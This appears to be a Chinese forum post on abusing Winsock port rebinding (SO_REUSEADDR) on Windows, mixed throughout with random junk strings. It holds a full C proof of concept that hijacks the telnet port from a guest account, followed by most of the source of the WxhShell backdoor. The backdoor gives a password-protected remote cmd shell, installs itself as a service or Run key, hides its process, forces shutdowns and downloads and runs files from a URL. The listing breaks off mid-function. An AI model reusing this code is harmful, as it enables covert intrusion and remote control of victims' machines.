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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: gH_r'j s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,$}Q#q MiSFT5$v6 saddr.sin_family = AF_INET; Ab(bvS8r$ Cog:6Gnw saddr.sin_addr.s_addr = htonl(INADDR_ANY); c3
wu&*p{ tXp)o>" bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); W:) M}}&H [{ zekF~)@ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +6;OB@ w1KQ9H* 这意味着什么?意味着可以进行如下的攻击: r},|kb &pmJ:WO,h 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 hqBwA1](a |RjjP 7 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) R 7{r Y :ZzG5[o3 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 O!j@8~=' p[/n[@<8= 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 XBr>K>( z?gJHN< 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Zv-6H*zM6
k,@1rOf 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 C u?$!|V &1?Q]ZRp 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 qh&K{r*T 6Edqg #include QU#/(N(U#T #include '8Gw{&& #include snK9']WXo #include H~$|y9>qI DWORD WINAPI ClientThread(LPVOID lpParam); #`W8-w int main() XG[%oL { -#i%4[v WORD wVersionRequested; R1wdQ8q DWORD ret; 4({=(O WSADATA wsaData; ,>g
6OU2~6 BOOL val; .6'T;SoK> SOCKADDR_IN saddr; J`V6zGgW SOCKADDR_IN scaddr; 1U9iNki int err; UG!&n@R SOCKET s; Mr1pRIYMd SOCKET sc; :5Vu.\,1 int caddsize; s e1ipn_A HANDLE mt; _E"[% DWORD tid; ?Z!KV= wVersionRequested = MAKEWORD( 2, 2 ); sV+>(c-$ err = WSAStartup( wVersionRequested, &wsaData ); x[?_F if ( err != 0 ) { wXZ-%,R-D printf("error!WSAStartup failed!\n"); Zn^E return -1; \GWq0z& } +X?jf.4 saddr.sin_family = AF_INET; `C()H@; MUo?ajbqOd //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~ACB#D% Qz<-xe`o8] saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); qJK^i.e saddr.sin_port = htons(23); 2cDC6rul if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) F-R`'{ ka { c49#aNR printf("error!socket failed!\n"); AH}
nTm return -1;
h43k
} Y9%yjh val = TRUE; 8jZYy! //SO_REUSEADDR选项就是可以实现端口重绑定的 $wN .~"T if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) O]Hg4">f { ?y
'.sQ printf("error!setsockopt failed!\n"); vbFAS:Y:+ return -1;
~ 52 } dqe_&C@*O //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^g0 Ig2' //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -@73" w/ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 cn#a/Hx yO($KL+ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Z5U~g? { PY2`RZ/ @ ret=GetLastError(); 9w(j2i
q printf("error!bind failed!\n"); K1hw'AaQ return -1; -`;8~ wMN } s,}<5N]U listen(s,2); sDF J while(1) YU"Am ! { 226s:\d caddsize = sizeof(scaddr); &l.^UQ //接受连接请求 @N(jd($E sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); *p-Fn$7\n if(sc!=INVALID_SOCKET) }Q%>Fv { L=p.@VSZ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +-Dd*yD6< if(mt==NULL) c`>\R<Z ] { xvkof
'Q) printf("Thread Creat Failed!\n"); yO6i "3 break; u7;A` } Y!`?q8z$G } V.4j?\#% CloseHandle(mt); 5[3hw4 } GW W@8GNI closesocket(s); 4 hj2rK'y WSACleanup(); VgdkCdWRm_ return 0; Q(sbClp" } *Z]|
Z4Q/` DWORD WINAPI ClientThread(LPVOID lpParam) GWhZ Mj { i-<=nD&?t SOCKET ss = (SOCKET)lpParam; A`r9"([-A SOCKET sc; Ao\Vh\rQkq unsigned char buf[4096]; 8x{vgx @M SOCKADDR_IN saddr; wv7jh~x(4 long num; cC[n~OV DWORD val; <r kW4 DWORD ret; RgO 7> T\ //如果是隐藏端口应用的话,可以在此处加一些判断 T/K.'92S //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 $i1A470C saddr.sin_family = AF_INET; <Hp"ZCN saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); fH.W
kAE1 saddr.sin_port = htons(23); miKi$jC}vq if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d5%*^nMpY { 1^;h:,e6 printf("error!socket failed!\n"); J'EK5=H return -1; M;9+L&p= } =6dKC_Q val = 100; 0
mQ3P.9 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) HB}gn2.1& {
@b/2' ret = GetLastError(); KH7]`CU return -1; sHuz10 } V588Leb? if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b[k 1)R" { GlZ9k-ZRF ret = GetLastError(); [E^X=+Jnz return -1; 5 QeGx3' } jysV%q 3 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Lwcw%M] { ;Y'\: printf("error!socket connect failed!\n"); 10rGA=x'( closesocket(sc); b>z.d- closesocket(ss); Z:hrrq9 return -1; hq*JQb;Y} } :6/OU9f/R while(1) #R8l"]fxr? { J*Hn/m //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5:d2q<x:{ //如果是嗅探内容的话,可以再此处进行内容分析和记录 5{a(
+' //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 v (h Xk]S num = recv(ss,buf,4096,0); =s]{ if(num>0) *N r|G61 send(sc,buf,num,0); HH#i.s2 else if(num==0) PPPwDsJ break; }ELCnN num = recv(sc,buf,4096,0); :U q]~e if(num>0) _e_%U<\4 send(ss,buf,num,0); Sg$\ab $ else if(num==0) T/;hIX:R break; $te,\$&} } l{U 3; closesocket(ss); 6y_Z'@L closesocket(sc); [J`G`s! return 0 ; F"H!CJJu& } DG\YZV4 ] )L'Rk#4 -9I% ========================================================== \ Sby(l gJxVU41 下边附上一个代码,,WXhSHELL N)*e^Nfb +-\9'Q ========================================================== P`
F'Nf2U ;QQ7vo #include "stdafx.h" 5#)<rK 3x0wk9lND #include <stdio.h> F\R}no5C #include <string.h> cOZ^huK #include <windows.h> y7-:l u$9 #include <winsock2.h> J\ +gd% #include <winsvc.h> b6Hk20+B; #include <urlmon.h> <M?#3&5A m tQ{6u
#pragma comment (lib, "Ws2_32.lib") $jm<'
4 #pragma comment (lib, "urlmon.lib") \,gZNe&Vv -!>ZATL<B #define MAX_USER 100 // 最大客户端连接数 bMZn7c #define BUF_SOCK 200 // sock buffer g<4M!gi #define KEY_BUFF 255 // 输入 buffer Sc$wR{W<: DB%AO:8 #define REBOOT 0 // 重启 KdJx#Lc #define SHUTDOWN 1 // 关机 Qf>Pb$c$U w%dIe!sV #define DEF_PORT 5000 // 监听端口 K!K"}%/_ XHM"agrhSQ #define REG_LEN 16 // 注册表键长度 W+
'}O< #define SVC_LEN 80 // NT服务名长度 7B\(r~f`t ]3,.g)U*m // 从dll定义API r_,m\'~s! typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F6c[v|3 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); YIQ]]q8R!L typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
z~e~K`S typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /_OZ1jX ;T{/; // wxhshell配置信息 /)?P>!#;\ struct WSCFG { {dx /p-Tv int ws_port; // 监听端口 _L'cyH.cn char ws_passstr[REG_LEN]; // 口令 6q[!X0u int ws_autoins; // 安装标记, 1=yes 0=no *-AAQ char ws_regname[REG_LEN]; // 注册表键名 5%+bWI{w char ws_svcname[REG_LEN]; // 服务名 50GYL5)q char ws_svcdisp[SVC_LEN]; // 服务显示名 Y+u-J4bj char ws_svcdesc[SVC_LEN]; // 服务描述信息 FgQ_a/* char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )g:,_ 1s)| int ws_downexe; // 下载执行标记, 1=yes 0=no EY&C[= char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" t-m9n*\j1 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &<V_[Wh" \*%i#]wO@ }; oUvk2]H 27],O@2?L // default Wxhshell configuration /1W7<']>xV struct WSCFG wscfg={DEF_PORT, n*i'v tQ8 "xuhuanlingzhe", ow+Dd[i 1, y^QYlZO "Wxhshell", A]iv)C;] "Wxhshell", b;J0'o^G| "WxhShell Service", U 'CfP9= "Wrsky Windows CmdShell Service", +8)]m< "Please Input Your Password: ", .p(6' TYnI 1, [Ql?Y$QB`4 " http://www.wrsky.com/wxhshell.exe", QI#*5zm "Wxhshell.exe" S
$_Y/x }; =,d* {m~A a()6bRc~T // 消息定义模块 (' Ko#3b char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |)?aH2IL char *msg_ws_prompt="\n\r? for help\n\r#>"; % O&m#)| char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; U +*oI * char *msg_ws_ext="\n\rExit."; H ZDaV&)@ char *msg_ws_end="\n\rQuit."; ,%?; \?b%h char *msg_ws_boot="\n\rReboot..."; ].-J. char *msg_ws_poff="\n\rShutdown..."; up&N CX char *msg_ws_down="\n\rSave to "; d{2y/ c+8>EU AW char *msg_ws_err="\n\rErr!"; Oj"pj:fB char *msg_ws_ok="\n\rOK!"; !u53 3 {\svV
0)~ char ExeFile[MAX_PATH]; -7k|6"EwM int nUser = 0; K$<`4#i HANDLE handles[MAX_USER]; 5%QC
][, int OsIsNt; 4+5OR&kxZ hJ;f1dZ7} SERVICE_STATUS serviceStatus; s!@=rq SERVICE_STATUS_HANDLE hServiceStatusHandle; {UdcX~\~ x&R9${e% // 函数声明 h0F0d^W. int Install(void); P /c
Q1 int Uninstall(void); +~w?Xw, int DownloadFile(char *sURL, SOCKET wsh); T2:oWjC3$ int Boot(int flag); 8tLT'2+H# void HideProc(void); {=bg5I0|a int GetOsVer(void); ]&C:> int Wxhshell(SOCKET wsl); FDF3zzP0 void TalkWithClient(void *cs); <.r ]dCf int CmdShell(SOCKET sock); qe5tcv}u int StartFromService(void); I&pr_~. int StartWxhshell(LPSTR lpCmdLine); !F+|Y"c U|Bsa(?nx VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
)IFl
0<d
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I|g@W_ lh,ylh // 数据结构和表定义 ?iPZsV SERVICE_TABLE_ENTRY DispatchTable[] = /nC{)s?S' { p}YI#f
in/ {wscfg.ws_svcname, NTServiceMain}, #Mj$o;SX {NULL, NULL} |rE!
}; n|70x5Z?}J $` Z>Lm* // 自我安装 S'Z70 zJ int Install(void) dGbU{#"3s { 2^)D
.& char svExeFile[MAX_PATH]; c*x J=Gz6d HKEY key; KInUe(g<9M strcpy(svExeFile,ExeFile); ^&+zA,aL,A 7tpAZ<{ // 如果是win9x系统,修改注册表设为自启动 MxO
W)$f if(!OsIsNt) { 3>-[B`dD( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y|q@;*rGNa RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jlu`lG*e& RegCloseKey(key); (NH8AS< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @-'/__cgt RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^M`>YOU2+ RegCloseKey(key); xwTijSj return 0; `z9)YH } 2d-TU_JqX } T@;! yz}Pf } "gXxRHTX else { /=8O&1=D dtB[m^$ // 如果是NT以上系统,安装为系统服务 ==%`e/~Y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .S~@BI(|< if (schSCManager!=0) L;/9L[s, { LP.HS'M~u SC_HANDLE schService = CreateService Sm$p\ORa ( h5L=M^z!> schSCManager, O&`U5w wscfg.ws_svcname, WGH%92 wscfg.ws_svcdisp, U7^7/s/. SERVICE_ALL_ACCESS, i&'#+f4t SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zP_ ] SERVICE_AUTO_START, E]?)FH<oP SERVICE_ERROR_NORMAL, ppAmN0=G svExeFile, oR*ztM
NULL, $ q%mu NULL, z-n>9 NULL, R[x7QlA; NULL, Yo >`h2C4 NULL _Zh2eXWdjM ); iI3v[S if (schService!=0) p86~~rvq[ { R'rTE CloseServiceHandle(schService); >%-Hj6% CloseServiceHandle(schSCManager); !Tv?%? 2l strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); CPVzX%= strcat(svExeFile,wscfg.ws_svcname); ZU=,f'bU if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { r
eGm> RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^'m\D; RegCloseKey(key); *6:v}#b[ return 0; b<[jaI0 } ?nQ_w0j } _b>F#nD,'% CloseServiceHandle(schSCManager); *i@sUM?K
} ,Z^Ca15z } 2zz,(RA
j:7*3@f return 1; 9lKn%|=T } dVa!.q_3 DhZ:#mM{ // 自我卸载 e"]"F{Q int Uninstall(void) Eu|sWdmf
l { TI}}1ScA' HKEY key; {S G* *D2Nm9sl if(!OsIsNt) { t5xb"F
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Rv98\VD" RegDeleteValue(key,wscfg.ws_regname); }*NF&PD5RU RegCloseKey(key); *P`v^& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xdPcsox~ RegDeleteValue(key,wscfg.ws_regname); YQ;
cJ$ RegCloseKey(key); N1%p"( return 0; bG"HD?A_ } "jT#bIm } 1@xP(XS } Q8p=!K else { UEzsDJu C;9t">prk SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ny)]GvxI if (schSCManager!=0) WE0}$P: { t#Th9G]1 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); te i`/ if (schService!=0) Bz?l{4". { c7\VTYT if(DeleteService(schService)!=0) { zxkM'8JC CloseServiceHandle(schService); K}x_nW CloseServiceHandle(schSCManager); 1pK6=-3w3 return 0; ^K+:C;Q| } |XRImeF'd CloseServiceHandle(schService); v,{h: } KF_ ?'X0= CloseServiceHandle(schSCManager); %`e`g ^ } Mi]I:ka } yMb|I~k e&0K;yU return 1; ?OE#q$ g } um7o !yg, Ry&q1j // 从指定url下载文件 )>\4ULR83 int DownloadFile(char *sURL, SOCKET wsh) !DPF7x(-{ { b^x07lO HRESULT hr; Y&K <{\vE char seps[]= "/"; @xS]!1- char *token; [F+,YV%t char *file; _-O cc=Z char myURL[MAX_PATH]; &iqw!
ud char myFILE[MAX_PATH]; ~O{W;Cyh \6o\+OQk strcpy(myURL,sURL); 3+ =I;nj token=strtok(myURL,seps); >"%ob,c:# while(token!=NULL) {pWBwf>R C { xST4}Mb^f file=token; >^=gDJ\a token=strtok(NULL,seps); ~M5:=zKQ } 7NJFWz! X P;Bhz3j GetCurrentDirectory(MAX_PATH,myFILE); OUI6
ax\[ strcat(myFILE, "\\"); g\Ak;03n strcat(myFILE, file); 9C/MRmv` send(wsh,myFILE,strlen(myFILE),0); v>H=,.`0\ send(wsh,"...",3,0); D<bI2 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G(/DtY] if(hr==S_OK) %?9Ok return 0; z\T Lsx else ^z~~VBv return 1; +6l]] *H H=p`T+ } -R0/o7 [} -3PpF // 系统电源模块 ]]2k}A[-I int Boot(int flag) 5dl,co{q { QB&BTT=! HANDLE hToken; T_LLJ}6M TOKEN_PRIVILEGES tkp; $'{=R 45Z jnJZ#=) if(OsIsNt) { GS;%zdH~ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); x GH1epf LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )*|(i] tkp.PrivilegeCount = 1; ut_pHj@ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iidT~l AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /7/0x ./{ if(flag==REBOOT) { Dz;HAyPj if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \S4SI return 0; mrM4RoO } Qhn;`9+L else { fvqd'2 t if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T2=HG Z return 0; s_[VHPN } X(Qu{HhI } 632bN=> else { z wk.bf>m if(flag==REBOOT) { Y3Oz'%B if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) D#Kuo$ return 0; ^zr^ N?a } `VT>M@i/ else { |^a;77nE_^ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _mJG5(| return 0; o6a0'vU>< } !yJICjXj } wRvb8F0 3@<zg1.9- return 1; 0N;%2=2_E } -SCM:j%h ~F!,PM/ // win9x进程隐藏模块 H:QhrL+7_ void HideProc(void) V
'.a)6 { skg|>R,kE CvDxq:x HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6RoAl$}' if ( hKernel != NULL ) &7>zURv { 56}X/u pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h8{(KRa 6 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -c*\o3) FreeLibrary(hKernel); swcd&~9r } >IfV\w32 f&KdlpxKv return; ~h$wH{-U# } -ijC_`> 6'vbT~S! // 获取操作系统版本 .;
Q:p* int GetOsVer(void) `3 cCH { uLR<FpM OSVERSIONINFO winfo; g)"gw+ZFc winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sG7u}r GetVersionEx(&winfo); eWs&J24 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P8Qyhc return 1; Ib=x~za@n else qv*7K@ return 0; @N@F,~[RR2 } 3gEMRy*+ 9=`W p6Gmn // 客户端句柄模块 p@
NaD=9 int Wxhshell(SOCKET wsl) pzZk\-0R { #xh_ SOCKET wsh; q5DEw&UZJ struct sockaddr_in client; H`9Uf) DWORD myID; XvTCK>1 hX:"QXx while(nUser<MAX_USER) \ 0W!4D
{ zUJZ`seF int nSize=sizeof(client); <y.]ImO wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p>w]rE:} if(wsh==INVALID_SOCKET) return 1; b97w^ah4gJ ULJ mSe handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o 5U(i if(handles[nUser]==0) X}ma] closesocket(wsh); WJH\~<{mP else KLW n?` nUser++; }_9,w;M$ } "R>FqX6FB WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); CusF/> :aCrX return 0; hVUh0XeO } ,f3pqi9| j$7|XM6 // 关闭 socket v=@TWEE void CloseIt(SOCKET wsh) \y`+B*\i { CNZ z]H closesocket(wsh); n{*D_kM(H nUser--; b;sVls ExitThread(0); YyAJ m^o } "TyJP[/ u$#Wv2| mk // 客户端请求句柄 q[q?hQ/b void TalkWithClient(void *cs) B%CTOi { sUJ%x#u}Fk )SF}2?7e SOCKET wsh=(SOCKET)cs; `{k"8#4:qA char pwd[SVC_LEN]; 1RcSTg char cmd[KEY_BUFF]; U1_@F$mq< char chr[1]; P262Q&.}d int i,j; H,fZ!8(A_) )L{ghy while (nUser < MAX_USER) { ^DeERB R0ID2:i]F if(wscfg.ws_passstr) { 58\&/lYW if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XR2~Q)@ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J]lrS //ZeroMemory(pwd,KEY_BUFF); (.wIe/ i=0; wI]"U2L5 while(i<SVC_LEN) { tz4
]qOH8 ^z1&8k"[^ // 设置超时 kft#R#m fd_set FdRead; McH>"` struct timeval TimeOut; -}O1dEn. FD_ZERO(&FdRead); vE@!{* FD_SET(wsh,&FdRead); ~(!XY/0e TimeOut.tv_sec=8; )'17r82a TimeOut.tv_usec=0; {"oxJ`z4 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !tfb*@{;' if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;<yd^Xs Y}#h5\ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \$0F-=w`8 pwd =chr[0]; 3bk|<7tl if(chr[0]==0xd || chr[0]==0xa) { )[0T16 pwd=0; S}APQ break; *.L81er5~ } kt`nbm|aw i++; VE+IKj!VG0 } &%})wZ+Dj m'P1BLk // 如果是非法用户,关闭 socket
J)P$2# if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i1H\#;`$ } _^Mx>hb4.
.ObZ\.I send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u6>?AW1~ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G!K]W:m hX`}Q4(k while(1) { C<KrMRWh^ (Yp+bS(PU* ZeroMemory(cmd,KEY_BUFF); >e\9Bf_ 3a.kBzus // 自动支持客户端 telnet标准 :Y9NLbv j=0; f$NM M
>z while(j<KEY_BUFF) { =t6z \WB if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^Ge+~o?x cmd[j]=chr[0]; j'9"cE5_ if(chr[0]==0xa || chr[0]==0xd) { i4^o59}8 cmd[j]=0; #fT*]NN break; m[j70jYe } nX$XL=6mJ& j++; w"R:\@ F } D8
hr?:I9 ': N51kC // 下载文件 FQ
g~l4WX if(strstr(cmd,"http://")) { O_Oj|'bBC send(wsh,msg_ws_down,strlen(msg_ws_down),0); Cvn#=6V3 if(DownloadFile(cmd,wsh)) ()~pY!)1/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7S?4XyU/o else \[Z?& send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .e_cgad : } ^]{R.(#z else { y|'SXM } CeCc0M switch(cmd[0]) { LX^u_Iu u_ABt?' // 帮助 H54R8O$ case '?': { &|/| ''A) send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0GJn_@hr break; 3B1cb[2y } ^^5&QSB:' // 安装 8Y5 case 'i': { ?O>V%@ if(Install()) [B+W%g(c- send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^tXJj:wtS else ]c! ;L5 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .A6(D$O k break; K)J(./ } aH^RoG} // 卸载 &^W|iXi# case 'r': { I1PuHf Qs if(Uninstall()) =}.EY iD send(wsh,msg_ws_err,strlen(msg_ws_err),0); m9/}~Y#k else m=YU2!Mb send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K_dOq68_ break; 8MSC.0 } trAkcYd // 显示 wxhshell 所在路径 <:?r:fQX case 'p': { lV%N char svExeFile[MAX_PATH]; hiQha5 strcpy(svExeFile,"\n\r"); V7/I>^X strcat(svExeFile,ExeFile); Q[nEsYP send(wsh,svExeFile,strlen(svExeFile),0); 'nF2aD%A break; vd8{c7g:n } 0}b
tXh // 重启 ^<e.]F25M case 'b': { rwGKfoKI send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); YCP) %} if(Boot(REBOOT)) z<yU-m2h send(wsh,msg_ws_err,strlen(msg_ws_err),0); D:erBMKv, else { u,&^&0K, closesocket(wsh); v8y1b% ExitThread(0); L21VS ,#I } 9=UkV\m) break; b j'Xg } >uSy // 关机 p\bDY case 'd': { ~$~5qwl send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Nqu>6^-z0 if(Boot(SHUTDOWN)) 0(S"{Ov send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8O38#{[S else { kkQVNphc closesocket(wsh); }I
:OsAw ExitThread(0); XHK70: i } ^/r7@: break; @7B$Yy# } .C--gQpIv // 获取shell (;q;E\Ejq case 's': { zzyHoZJP CmdShell(wsh); rnF/H=I/ closesocket(wsh); p>upA)W] ExitThread(0); d!$Z(W0 break; 7k rUKYVo } _]Zs,Hy // 退出 q#s,-u u case 'x': { V>b\[(=s send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?:)]h c CloseIt(wsh); ?O8ViB?2 break; 9M:O0) s } cZ|\.0- // 离开 v#!%GEg1r case 'q': { v61[.oS send(wsh,msg_ws_end,strlen(msg_ws_end),0); 49vcoHlf closesocket(wsh); Qc pm! WSACleanup(); R;j!}D!4 exit(1); e:5bzk!~ break; xftBSdVE } mVy|{Oh } ]bK=FIK2 } 9pX&ZjYP- T87m?a$ // 提示信息 gntxNp[9T if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3de_V|% } VSSu&Q } Ba!J"b] *3?'4"B{8 return; Dp':oJC } 2n|K5FR() !Ze5)g%H // shell模块句柄 4 XAQVq5 int CmdShell(SOCKET sock) sashzVwJ-= { NB8/g0:=n& STARTUPINFO si; |y2w9n0D ZeroMemory(&si,sizeof(si)); v+X)Qmzf~ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; MP>dW nl si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,.7*Hpa PROCESS_INFORMATION ProcessInfo; lb3]$Da
char cmdline[]="cmd"; D`$hPYK|_ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); dzDqZQY$ return 0; j!7{|EQFcl } t$De/Uq BYMi6wts // 自身启动模式 o<|P9#(U" int StartFromService(void) }3OKC2K~ { W;,C_ typedef struct s[w6FXt { 6e[VgN-s DWORD ExitStatus; lw<c2C DWORD PebBaseAddress; o*o/q],C9- DWORD AffinityMask; GhIKvX_N DWORD BasePriority; SgS~ {4Zx* ULONG UniqueProcessId; Mw;sLsu ULONG InheritedFromUniqueProcessId; 2u5|8 } PROCESS_BASIC_INFORMATION; i*@<y/&' iT%} $Lu~ PROCNTQSIP NtQueryInformationProcess; yc?a=6q'm [x,>?~6ek static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =fO5cA6Z static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !lj| cT9 <1t*I!e_ HANDLE hProcess; FW21 U< PROCESS_BASIC_INFORMATION pbi; G1o3l~x 23DiW#o' HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); OUhqMVX9C if(NULL == hInst ) return 0; 